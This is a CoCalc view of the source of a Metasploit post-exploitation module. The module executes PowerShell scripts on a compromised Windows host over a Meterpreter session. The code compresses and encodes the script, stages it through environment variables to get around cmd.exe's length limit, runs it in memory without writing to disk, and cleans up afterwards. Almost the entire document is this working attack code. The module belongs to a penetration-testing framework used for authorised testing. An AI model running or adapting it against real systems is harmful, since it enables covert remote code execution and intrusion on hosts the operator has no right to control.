Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/powershell/exec_powershell.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
##
7
# Original script comments by nick[at]executionflow.org:
8
# Meterpreter script to deliver and execute powershell scripts using
9
# a compression/encoding method based on the powershell PoC code
10
# from rel1k and winfang98 at DEF CON 18. This script furthers the
11
# idea by bypassing Windows' command character lmits, allowing the
12
# execution of very large scripts. No files are ever written to disk.
13
##
14
15
require 'zlib' # TODO: check if this can be done with REX
16
17
class MetasploitModule < Msf::Post
18
include Msf::Post::Windows::Powershell
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'Windows Manage PowerShell Download and/or Execute',
25
'Description' => %q{
26
This module will download and execute a PowerShell script over a meterpreter session.
27
The user may also enter text substitutions to be made in memory before execution.
28
Setting VERBOSE to true will output both the script prior to execution and the results.
29
},
30
'License' => MSF_LICENSE,
31
'Platform' => ['win'],
32
'SessionTypes' => ['meterpreter'],
33
'Author' => [
34
'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
35
'RageLtMan <rageltman[at]sempervictus>' # post module
36
],
37
'Compat' => {
38
'Meterpreter' => {
39
'Commands' => %w[
40
stdapi_sys_config_sysinfo
41
]
42
}
43
},
44
'Notes' => {
45
'Stability' => [CRASH_SAFE],
46
'SideEffects' => [],
47
'Reliability' => []
48
}
49
)
50
)
51
52
register_options(
53
[
54
OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
55
]
56
)
57
58
register_advanced_options(
59
[
60
OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
61
OptBool.new('DELETE', [false, 'Delete file after execution', false ]),
62
OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ]),
63
OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]),
64
]
65
)
66
end
67
68
def run
69
fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter'
70
fail_with(Failure::BadConfig, 'PowerShell is not installed') unless have_powershell?
71
72
# End of file marker
73
eof = Rex::Text.rand_text_alpha(8)
74
env_suffix = Rex::Text.rand_text_alpha(8)
75
76
# check/set vars
77
subs = process_subs(datastore['SUBSTITUTIONS'])
78
script_in = read_script(datastore['SCRIPT'])
79
print_status(script_in)
80
81
# Make substitutions in script if needed
82
script_in = make_subs(script_in, subs) unless subs.empty?
83
84
# Get target's computer name
85
computer_name = session.sys.config.sysinfo['Computer']
86
87
# Create unique log directory
88
log_dir = ::File.join(Msf::Config.log_directory, 'scripts', computer_name)
89
::FileUtils.mkdir_p(log_dir)
90
91
# Define log filename
92
script_ext = ::File.extname(datastore['SCRIPT'])
93
script_base = ::File.basename(datastore['SCRIPT'], script_ext)
94
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
95
log_file = ::File.join(log_dir, "#{script_base}-#{time_stamp}.txt")
96
97
# Compress
98
print_status('Compressing script contents.')
99
compressed_script = compress_script(script_in, eof)
100
if datastore['DRY_RUN']
101
print_good("powershell -EncodedCommand #{compressed_script}")
102
return
103
end
104
105
# If the compressed size is > 8100 bytes, launch stager
106
if (compressed_script.size > 8100)
107
print_error("Compressed size: #{compressed_script.size}")
108
error_msg = 'Compressed size may cause command to exceed '
109
error_msg += "cmd.exe's 8kB character limit."
110
print_error(error_msg)
111
print_status('Launching stager:')
112
script = stage_to_env(compressed_script, env_suffix)
113
print_good('Payload successfully staged.')
114
else
115
print_good("Compressed size: #{compressed_script.size}")
116
script = compressed_script
117
end
118
119
# Execute the powershell script
120
print_status('Executing the script.')
121
cmd_out, running_pids, open_channels = execute_script(script, datastore['TIMEOUT'])
122
123
# Write output to log
124
print_status("Logging output to #{log_file}.")
125
write_to_log(cmd_out, log_file, eof)
126
127
# Clean up
128
print_status('Cleaning up residual objects and processes.')
129
clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)
130
131
# That's it
132
print_good('Finished!')
133
end
134
end
135
136